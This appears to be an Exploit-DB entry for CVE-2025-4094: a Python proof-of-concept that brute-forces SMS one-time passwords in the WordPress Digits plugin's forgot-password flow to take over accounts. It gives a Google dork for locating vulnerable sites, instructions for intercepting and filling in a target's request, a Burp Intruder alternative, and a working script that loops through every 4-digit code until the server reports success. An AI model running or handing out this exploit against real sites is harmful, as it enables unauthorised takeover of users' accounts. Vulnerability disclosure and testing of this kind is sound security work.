
7 changes to exploits/shellcodes/ghdb Automic Agent 24.3.0 HF4 - Privilege Escalation Fortra GoAnywhere MFT 7.4.1 - Authentication Bypass SolarWinds Serv-U 15.4.2 HF1 - Directory Traversal Campcodes Online Hospital Management System 1.0 - SQL Injection WordPress Digits Plugin 8.4.6.1 - Authentication Bypass via OTP Bruteforcing Windows File Explorer Windows 11 (23H2) - NTLM Hash Disclosure
74 lines
No EOL
2.8 KiB
Text
74 lines
No EOL
2.8 KiB
Text
# Exploit Title: WordPress Digits Plugin 8.4.6.1 - Authentication Bypass via OTP Bruteforcing
|
||
# Google Dork: inurl:/wp-content/plugins/digits/
|
||
# Date: 2025-04-30
|
||
# Exploit Author: Saleh Tarawneh
|
||
# Vendor Homepage: https://digits.unitedover.com/
|
||
# Version: < 8.4.6.1
|
||
# CVE : CVE-2025-4094
|
||
|
||
"""
|
||
The Digits plugin for WordPress prior to version 8.4.6.1 is vulnerable to OTP brute-force attacks due to missing rate limiting.
|
||
An attacker can exploit this to bypass authentication or password reset by iterating over possible OTP values.
|
||
|
||
This PoC targets the "Forgot Password" flow and automates the attack, which is the same concept that is valid for the registration flow.
|
||
|
||
CWE-287: Improper Authentication
|
||
CVSS v3.1: 9.8 (Critical)
|
||
OWASP A2: Broken Authentication
|
||
|
||
[Instructions]
|
||
1. Use a tool like Burp Suite or your browser’s developer tools to intercept the OTP verification request.
|
||
2. Copy the exact request parameters
|
||
3. Replace the placeholder values in the script with real data from the intercepted request.
|
||
4. Run the script to brute-force 4-digit OTPs (0000 to 9999) or you can change it to 6-digit.
|
||
|
||
[Alternative Method – Burp Suite Pro]
|
||
|
||
If you have Burp Suite Pro, you can perform the OTP brute-force attack manually:
|
||
|
||
1. Intercept the OTP request using Burp Proxy.
|
||
2. Send the request to Intruder.
|
||
3. Mark the `sms_otp` parameter as the payload position.
|
||
4. Load a payload list from `000000` to `999999` (for 6-digit OTPs).
|
||
5. Start the attack and monitor responses for a different status code, length, or success message.
|
||
|
||
"""
|
||
|
||
import requests
|
||
|
||
def brute(otp):
|
||
url = "https://example.com/wp-admin/admin-ajax.php"
|
||
data = { # Replace with targets data
|
||
"login_digt_countrycode": "+",
|
||
"digits_phone": "000000000",
|
||
"action_type": "phone",
|
||
"sms_otp": otp,
|
||
"otp_step_1": "1",
|
||
"instance_id": "xxxxxxx",
|
||
"action": "digits_forms_ajax",
|
||
"type": "forgot",
|
||
"forgot_pass_method": "sms_otp",
|
||
"digits": "1",
|
||
"digits_redirect_page": "//example.com/",
|
||
"digits_form": "xxxxxxxx",
|
||
"_wp_http_referer": "/?login=true"
|
||
}
|
||
headers = {
|
||
"User-Agent": "Mozilla/5.0",
|
||
"Content-Type": "application/x-www-form-urlencoded; charset=UTF-8",
|
||
"X-Requested-With": "XMLHttpRequest",
|
||
"Referer": "https://example.com/?login=true" # Replace with intercepted referer
|
||
}
|
||
response = requests.post(url, data=data, headers=headers)
|
||
if '"success":true' in response.text:
|
||
print(f"[+] OTP FOUND: {otp}")
|
||
exit()
|
||
|
||
def main():
|
||
for otp in range(0, 10000): # range(0, 1000000): for 6-digit
|
||
otp_str = f"{otp:04d}" # {otp:06d} for 6-digit
|
||
print(f"[*] Trying OTP: {otp_str}")
|
||
brute(otp_str)
|
||
|
||
if __name__ == "__main__":
|
||
main() |